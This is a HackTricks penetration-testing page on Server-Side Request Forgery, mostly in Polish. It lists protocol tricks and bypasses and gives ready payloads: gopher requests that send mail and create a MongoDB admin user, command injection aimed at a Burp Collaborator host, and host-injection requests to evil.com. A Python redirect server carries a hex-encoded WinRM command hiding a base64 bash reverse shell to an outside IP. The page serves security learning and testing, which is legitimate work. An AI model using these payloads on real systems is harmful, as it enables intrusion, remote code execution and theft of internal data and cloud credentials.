SSRF (Server Side Request Forgery)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
A Server-side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić interakcję HTTP lub DNS możesz użyć narzędzi takich jak:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Ominięcie białej listy domen
Zazwyczaj odkryjesz, że SSRF działa tylko dla pewnych domen umieszczonych na białej liście lub URL-i. Na poniższej stronie znajduje się kompilacja technik do spróbowania w celu ominięcia tej białej listy:
Ominięcie przez Open Redirect
Jeśli serwer jest poprawnie zabezpieczony, możesz ominąć wszystkie ograniczenia, wykorzystując Open Redirect na stronie. Ponieważ strona pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie podążać za przekierowaniami, możesz wykorzystać Open Redirect, aby zmusić serwer do uzyskania dostępu do wewnętrznych zasobów.
Przeczytaj więcej tutaj: https://portswigger.net/web-security/ssrf
Protokoły
- file://
- The URL scheme
file://is referenced, pointing directly to/etc/passwd:file:///etc/passwd - dict://
- Schemat URL
dict://jest opisany jako wykorzystywany do uzyskiwania definicji lub list słów przez protokół DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP potencjalnie użytego do połączenia z serwerem DICT przy użyciu poświadczeń dostarczonych przez atakującego:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Zidentyfikowany jako protokół do bezpiecznego transferu plików przez secure shell, podano przykład pokazujący, jak skrypt PHP mógłby zostać wykorzystany do połączenia z złośliwym serwerem SFTP:
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol działający po UDP jest wspomniany z przykładem skryptu PHP wysyłającego żądanie do serwera TFTP. Żądanie TFTP wysyłane jest do ‘generic.com’ na porcie ‘12346’ o plik ‘TESTUDPPACKET’:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Ta sekcja omawia Lightweight Directory Access Protocol, podkreślając jego użycie do zarządzania i dostępu do rozproszonych usług informacji katalogowej w sieciach IP. Interakcja z serwerem LDAP na localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- Opisano metodę wykorzystania luk SSRF do interakcji z usługami SMTP na localhost, w tym kroki pozwalające ujawnić wewnętrzne nazwy domen oraz dalsze działania śledcze oparte na tych informacjach.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Jeśli SSRF jest wykonywane przez curl, curl ma funkcję nazwaną URL globbing, która może być przydatna do obejścia WAFs. Na przykład w tym writeup znajdziesz ten przykład dla path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Omówiona jest zdolność protokołu Gopher do określania IP, portu i bytes do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia payloadów. Zilustrowano dwa odrębne zastosowania:
Gopher://
Za pomocą tego protokołu możesz określić IP, port i bytes, które chcesz, aby serwer wysłał. Następnie możesz w zasadzie wykorzystać SSRF, aby komunikować się z dowolnym serwerem TCP (ale najpierw musisz wiedzieć, jak rozmawiać z daną usługą).
Na szczęście możesz użyć Gopherus do tworzenia payloadów dla kilku usług. Dodatkowo, remote-method-guesser może być użyty do tworzenia gopher payloadów dla usług Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect do 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Utwórz użytkownika z username=admin, password=admin123 i permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF przez nagłówek Referrer i inne
Oprogramowanie analityczne na serwerach często loguje nagłówek Referrer, aby śledzić przychodzące linki, co niezamierzenie naraża aplikacje na podatności Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer, aby analizować zawartość serwisów odsyłających. Aby wykryć te podatności, zalecany jest plugin Burp Suite “Collaborator Everywhere”, wykorzystujący sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer, aby zidentyfikować potencjalne powierzchnie ataku SSRF.
SSRF przez dane SNI z certyfikatu
Nieprawidłowa konfiguracja, która może umożliwić połączenie z dowolnym backendem przy prostym ustawieniu, jest zilustrowana przykładową konfiguracją Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio używana jako adres backendu. Takie ustawienie ujawnia podatność na Server-Side Request Forgery (SSRF), którą można wykorzystać, po prostu podając żądany adres IP lub nazwę domeny w polu SNI. Poniżej znajduje się przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak internal.host.com, za pomocą polecenia openssl:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.
- Wymagania: włączone mTLS, włączone pobieranie AIA w Java, atakujący może przedstawić cert klienta z spreparowanym AIA CA Issuers URI.
- Wywołanie SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.
- DoS via file://: setting AIA CA Issuers to
file:///dev/urandomon Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.
Wget file upload
SSRF with Command Injection
It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderowanie PDF
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.
Od SSRF do DoS
Utwórz kilka sesji i spróbuj pobrać duże pliki wykorzystując SSRF z tych sesji.
Funkcje PHP związane z SSRF
Sprawdź następującą stronę pod kątem podatnych funkcji PHP, a nawet Wordpress:
SSRF: przekierowanie do Gopher
For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Błędnie skonfigurowane proxy prowadzące do SSRF
Triki z tego posta.
Flask
Przykład podatnego kodu proxy we Flask
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask pozwala użyć **`@`** jako znaku początkowego, co pozwala uczynić **początkową nazwę hosta nazwą użytkownika** i wstrzyknąć nową. Żądanie ataku:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Podatny kod:
.png)
Odkryto, że możliwe jest rozpoczęcie ścieżki żądania znakiem ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do dostępu. Żądanie ataku:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP — wbudowany serwer WWW
Wrażliwy kod PHP
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że można go używać tylko dla katalogu głównego `/` oraz że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, więc konieczne jest użycie na przykład adresu IP zakodowanego w hex bez kropek:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Jeśli masz problems aby exfiltrate content from a local IP z powodu CORS/SOP, DNS Rebidding może być użyte do bypass tego ograniczenia:
CORS - Misconfigurations & Bypass
Automated DNS Rebidding
Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do zrebindowania adresu IP nazwy DNS serwera atakującego na adres IP maszyny docelowej oraz do serwowania payloadów atakujących w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
Sprawdź także publicznie działający serwer na http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Wymagania:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
Atak:
- Poproś użytkownika/bota o access do domeny kontrolowanej przez attacker
- TTL rekordów DNS jest ustawiony na 0 sek (więc ofiara wkrótce ponownie sprawdzi IP domeny)
- Między ofiarą a domeną atakującego zostaje ustanowione połączenie TLS. Atakujący wprowadza payload wewnątrz Session ID lub Session Ticket.
- Domena rozpoczyna nieskończoną pętlę przekierowań przeciwko samej sobie. Celem jest wymuszenie, aby użytkownik/bot odwiedzał domenę do momentu, gdy ponownie wykona DNS request dla tej domeny.
- W kolejnym żądaniu DNS zwracany jest teraz private IP (np. 127.0.0.1)
- Użytkownik/bot spróbuje ponownie nawiązać połączenie TLS i w tym celu wyśle Session ID/Ticket ID (w którym znajdował się payload atakującego). Gratulacje — udało ci się sprawić, że user/bot zaatakował samego siebie.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, by ofiara ustanowiła początkowe połączenie z www.attacker.com:11211 (port musi zawsze być taki sam).
Aby wykonać ten atak możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Po więcej informacji zobacz prezentację, w której ten atak jest wyjaśniony: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Różnica między blind SSRF a zwykłym SSRF jest taka, że w blind nie możesz zobaczyć odpowiedzi na żądanie SSRF. W związku z tym trudniej je wykorzystać, ponieważ możesz atakować jedynie dobrze znane podatności.
Time based SSRF
Sprawdzając czas odpowiedzi serwera, może być możliwe ustalenie czy zasób istnieje czy nie (może zajmować więcej czasu dostęp do istniejącego zasobu niż do takiego, który nie istnieje).
From blid to full abusing status codes
Zgodnie z tym blog postem, niektóre blind SSRF mogą występować dlatego, że nawet jeśli docelowy URL odpowiada kodem 200 (jak AWS metadata), te dane nie są prawidłowo sformatowane i aplikacja może odmówić ich wyświetlenia.
Jednak znaleziono, że wysyłając w odpowiedziach przekierowania kody od 305 do 309 w kontekście SSRF, może być możliwe sprawić, że aplikacja będzie podążać za tymi przekierowaniami będąc w trybie błędu, który przestaje weryfikować format danych i może je po prostu wypisać.
Python server używany do exploitowania tego wygląda następująco:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Kroki:
- Najpierw 302 powoduje, że aplikacja zaczyna podążać.
- Następnie otrzymuje 305 → 306 → 307 → 308 → 309 → 310.
- Po piątym dziwnym kodzie PoC w końcu zwraca 302 → 169.254.169.254 → 200 OK.
Co się dzieje wewnątrz celu:
- libcurl samo podąża za 305–310; po prostu normalizuje nieznane kody do “follow.”
- Po N dziwnych przekierowaniach (≥ 5 tutaj) własny wrapper aplikacji decyduje “something is off” i przełącza się w tryb błędu przeznaczony do debugowania.
- W tym trybie zrzuca cały łańcuch przekierowań oraz końcowe body z powrotem do zewnętrznego wywołującego.
- Wynik: attacker widzi wszystkie nagłówki + metadata JSON, mission accomplished.
Zauważ, że to interesujące do leak status codes, których wcześniej nie dało się leakować (jak 200). Jednak jeśli w jakiś sposób moglibyście też wybrać kod statusu odpowiedzi (wyobraź sobie, że możesz ustalić, że AWS metadata odpowiada kodem 500), mogą istnieć takie kody statusu, które bezpośrednio leakują zawartość odpowiedzi.
HTML-to-PDF renderery jako blind SSRF gadgets
Biblioteki takie jak TCPDF (i wrappery jak spipu/html2pdf) automatycznie pobierają dowolne URL-e obecne w attacker-controlled HTML podczas renderowania PDF. Każdy atrybut <img> lub <link rel="stylesheet"> jest rozwiązywany po stronie serwera za pomocą cURL, getimagesize(), lub file_get_contents(), więc możesz zmusić PDF worker do sondowania hostów wewnętrznych, mimo że żadna odpowiedź HTTP nie jest ci zwracana.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 wykonuje kilka prób pobrania dla każdego
<img>resource, więc pojedynczy payload może wygenerować wiele żądań (helpful for timing-based port scans). - html2pdf kopiuje zachowanie TCPDF dla
<img>i dodaje pobieranie CSS wCss::extractStyle(), które po płytkiej walidacji schematu po prostu wywołujefile_get_contents($href). Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints. - Combine this SSRF primitive with the HTML-to-PDF path traversal tricks to leak both internal HTTP responses and local files rendered into the PDF.
Administratorzy zabezpieczeń powinni usuwać zewnętrzne URL-e przed renderowaniem lub odizolować renderer w sieciowym sandboxie; do czasu wdrożenia takich środków traktuj generatory PDF jako blind SSRF proxies.
Eksploatacja SSRF w chmurze
Jeśli znajdziesz podatność SSRF na maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje o środowisku chmurowym, a nawet poświadczenia:
Platformy podatne na SSRF
Kilka znanych platform zawierało lub zawiera podatności SSRF — sprawdź je w:
Narzędzia
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser to skaner podatności Java RMI, który obsługuje operacje ataku dla większości powszechnych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf, aby wygenerować payload SSRF dla żądanej operacji. W połączeniu z opcją --gopher można bezpośrednio wygenerować gotowe do użycia gopher payloads.
SSRF Proxy
SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).
Do ćwiczeń
Źródła
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


